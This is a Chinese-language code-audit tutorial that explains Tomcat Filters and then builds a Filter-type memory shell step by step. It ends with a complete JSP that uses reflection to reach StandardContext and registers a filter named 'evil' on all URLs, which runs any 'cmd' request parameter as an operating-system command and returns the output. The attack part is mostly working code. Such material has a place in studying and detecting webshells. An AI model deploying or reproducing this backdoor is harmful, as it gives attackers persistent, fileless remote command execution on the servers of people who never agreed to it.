代码审计 | Filter —— Tomcat 内存马从零到注入

package org.example.filter;
​
import javax.servlet.*;
import javax.servlet.annotation.WebFilter;
import java.io.IOException;
​
@WebFilter("/*")
public class LogFilter implements Filter {
​
    @Override
    public void init(FilterConfig filterConfig) {
        System.out.println("LogFilter 初始化");
    }
​
    @Override
    public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)
            throws IOException, ServletException {
        String ip = request.getRemoteAddr();
        System.out.println("请求来自：" + ip);
        // 放行，继续执行后续 Filter 或 Servlet
        chain.doFilter(request, response);
    }
​
    @Override
    public void destroy() {
        System.out.println("LogFilter 销毁");
    }
}

用户请求 → Filter1.doFilter → Filter2.doFilter → ... → Servlet/JSP → 响应

<!-- 声明 Filter：给 Filter 起个内部名字，并指定它对应的 Java 类 -->
<filter>
    <filter-name>logFilter</filter-name>
    <filter-class>org.example.filter.LogFilter</filter-class>
</filter>
<!-- 映射 Filter：告诉 Tomcat 这个 Filter 要拦截哪些 URL -->
<filter-mapping>
    <filter-name>logFilter</filter-name>
    <url-pattern>/*</url-pattern>
</filter-mapping>

private HashMap<String, FilterDef> filterDefs = new HashMap<>();          // 1. 定义集合
private FilterMap[] filterMaps = new FilterMap[0];                         // 2. 路由数组
private HashMap<String, ApplicationFilterConfig> filterConfigs = new HashMap<>();  // 3. 运行时配置集合

<%
// 通过 request（内置对象）获取当前 Web 应用的 ServletContext
// 接口变量 servletContext 的实际类型是 org.apache.catalina.core.ApplicationContextFacade
ServletContext servletContext = request.getSession().getServletContext();
​
// 1. 反射获取 ApplicationContextFacade 中的 ApplicationContext
Field appContextField = servletContext.getClass().getDeclaredField("context");
// 突破限制，强行读取私有字段
appContextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appContextField.get(servletContext);
​
// 2. 反射获取 ApplicationContext 中的 StandardContext
Field stdContextField = applicationContext.getClass().getDeclaredField("context");
stdContextField.setAccessible(true);
StandardContext standardContext = (StandardContext) stdContextField.get(applicationContext);
%>

JSP 能拿到的对象：ServletContext 接口
  ↓（实际类型是 ApplicationContextFacade）
  ↓（反射获取其私有字段 "context"）
  ↓
第一层：ApplicationContext 对象
  ↓（反射获取其私有字段 "context"）
  ↓
第二层：StandardContext 对象  ← 目标

<%
// 匿名内部类
Filter maliciousFilter = new Filter() {
    @Override
    // 必须实现的方法，但内存马不需要初始化操作，所以留空
    public void init(FilterConfig filterConfig) {}
​
    @Override
    // 这是 Filter 的核心拦截方法，每次请求匹配到该 Filter 时被 Tomcat 调用
    // 参数 request、response、chain 由 Tomcat 传入，固定不变
    public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)
            throws IOException, ServletException {
        // 获取 URL 中 ?cmd=xxx 的参数值，如果没有该参数，返回 null
        String cmd = request.getParameter("cmd");
        if (cmd != null) {
            // 调用操作系统的命令行执行器，执行传入的 cmd 字符串
            Process process = Runtime.getRuntime().exec(cmd);
​
            // 读取命令执行结果的输出流（Java 8 写法）
            // Java 9+ 写法：byte[] bytes = process.getInputStream().readAllBytes();
            java.io.InputStream inputStream = process.getInputStream();
            java.io.ByteArrayOutputStream baos = new java.io.ByteArrayOutputStream();
            byte[] buffer = new byte[1024];
            int len;
            while ((len = inputStream.read(buffer)) != -1) {
                baos.write(buffer, 0, len);
            }
            byte[] bytes = baos.toByteArray();
​
            // 将结果写回浏览器
            // Windows 下中文回显乱码问题通过 new String(bytes, "GBK") 解决
            response.getWriter().write(new String(bytes, "GBK"));
            // 执行完命令回显后，直接 return，没有调用 chain.doFilter
            // 请求链在这里被截断，后续的任何 Filter 和目标 Servlet/JSP 都不会执行
            return;
        }
        // 如果 cmd == null（没有后门参数），则执行这一行，保证正常业务不受影响
        chain.doFilter(request, response);
    }
​
    @Override
    // 必须实现的清理方法，内存马不需要释放资源，留空
    public void destroy() {}
};
%>

<%
// 创建一个对象用来放内存马 maliciousFilter 的信息
FilterDef filterDef = new FilterDef();
​
filterDef.setFilterName("evil");
// 取名字，相当于 web.xml 中的 <filter-name>，后面 FilterMap 会用这个名字来关联
​
filterDef.setFilterClass(maliciousFilter.getClass().getName());
// 设置 Filter 的全限定类名，对应 web.xml 中的 <filter-class>，不过用的是反射的方法取得
​
filterDef.setFilter(maliciousFilter);
// 设置我们写的这个内存马对象
​
standardContext.addFilterDef(filterDef);
// 调用 StandardContext 自带的方法，addFilterDef 把这份信息放入 filterDefs 这个 Map 中
%>

<%
// FilterDef、FilterMap 这些都是普通的类，可以正常地直接创建
FilterMap filterMap = new FilterMap();
​
filterMap.setFilterName("evil");
// 名字需要和前面的身份信息一致才能匹配
​
filterMap.addURLPattern("/*");
// 设置拦截规则：拦截所有 URL 路径，相当于 web.xml 中的 <url-pattern>/*</url-pattern>
​
standardContext.addFilterMapBefore(filterMap);
// 把这个规则添加到 standardContext 里的最前面
%>

<%
// 反射获取 filterConfigs 字段
// filterConfigs 是 StandardContext 内部的一个 private 字段，没有提供公开的 getter 方法
// 正常情况下，外部代码根本无法访问它，所以必须用反射
​
Field filterConfigsField = standardContext.getClass().getDeclaredField("filterConfigs");
// 允许操作私有字段
filterConfigsField.setAccessible(true);
Map<String, ApplicationFilterConfig> filterConfigs =
    (Map<String, ApplicationFilterConfig>) filterConfigsField.get(standardContext);
// filterConfigsField 代表 StandardContext 类中的 filterConfigs 字段
// get(standardContext) 是从 standardContext 这个具体对象里取出它内部的 filterConfigs 这个 Map
​
// 反射获取 ApplicationFilterConfig 的私有构造器
// filterConfigs 需要的参数对象是 ApplicationFilterConfig，但构造方法是私有的，需要反射获取
Constructor<ApplicationFilterConfig> constructor =
    ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
constructor.setAccessible(true);
// 创建新对象，传入 standardContext 和之前创建的 filterDef
ApplicationFilterConfig filterConfig = constructor.newInstance(standardContext, filterDef);
​
// 塞入 filterConfigs，前面已经通过反射获取了这个对象，所以可以直接使用
filterConfigs.put("evil", filterConfig);
%>

// Field 操作（从已有对象取字段值）
Field field = clazz.getDeclaredField("filterConfigs");
Map map = (Map) field.get(standardContext); // 从 standardContext 这个已有对象中取
​
// Constructor 操作（新建对象）
Constructor<ApplicationFilterConfig> cons =
    ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
ApplicationFilterConfig config = cons.newInstance(standardContext, filterDef);

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="javax.servlet.*" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.lang.reflect.Field" %>
​
<%
// 1. 获取 StandardContext
ServletContext servletContext = request.getSession().getServletContext();
Field appContextField = servletContext.getClass().getDeclaredField("context");
appContextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appContextField.get(servletContext);
​
Field standardContextField = applicationContext.getClass().getDeclaredField("context");
standardContextField.setAccessible(true);
StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);
​
// 2. 定义恶意 Filter
Filter maliciousFilter = new Filter() {
    @Override
    public void init(FilterConfig filterConfig) {}
​
    @Override
    public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)
            throws IOException, ServletException {
        String cmd = request.getParameter("cmd");
        if (cmd != null) {
            Runtime runtime = Runtime.getRuntime();
            Process process = runtime.exec(cmd);
            java.io.InputStream inputStream = process.getInputStream();
            java.io.ByteArrayOutputStream baos = new java.io.ByteArrayOutputStream();
            byte[] buffer = new byte[1024];
            int len;
            while ((len = inputStream.read(buffer)) != -1) {
                baos.write(buffer, 0, len);
            }
            byte[] bytes = baos.toByteArray();
            response.getWriter().write(new String(bytes));
            return;
        }
        chain.doFilter(request, response);
    }
​
    @Override
    public void destroy() {}
};
​
// 3. 注册 FilterDef
org.apache.tomcat.util.descriptor.web.FilterDef filterDef =
    new org.apache.tomcat.util.descriptor.web.FilterDef();
filterDef.setFilterName("evil");
filterDef.setFilterClass(maliciousFilter.getClass().getName());
filterDef.setFilter(maliciousFilter);
standardContext.addFilterDef(filterDef);
​
// 4. 注册 FilterMap（拦截所有请求）
org.apache.tomcat.util.descriptor.web.FilterMap filterMap =
    new org.apache.tomcat.util.descriptor.web.FilterMap();
filterMap.setFilterName("evil");
filterMap.addURLPattern("/*");
standardContext.addFilterMapBefore(filterMap);
​
out.println("注入成功");
​
// 5. 强制写入 filterConfigs
Field filterConfigsField = standardContext.getClass().getDeclaredField("filterConfigs");
filterConfigsField.setAccessible(true);
java.util.Map filterConfigs = (java.util.Map) filterConfigsField.get(standardContext);
​
org.apache.catalina.core.ApplicationFilterConfig filterConfig = null;
java.lang.reflect.Constructor constructor =
    org.apache.catalina.core.ApplicationFilterConfig.class
        .getDeclaredConstructor(org.apache.catalina.Context.class,
                                org.apache.tomcat.util.descriptor.web.FilterDef.class);
constructor.setAccessible(true);
filterConfig = (org.apache.catalina.core.ApplicationFilterConfig)
    constructor.newInstance(standardContext, filterDef);
​
filterConfigs.put("evil", filterConfig);
%>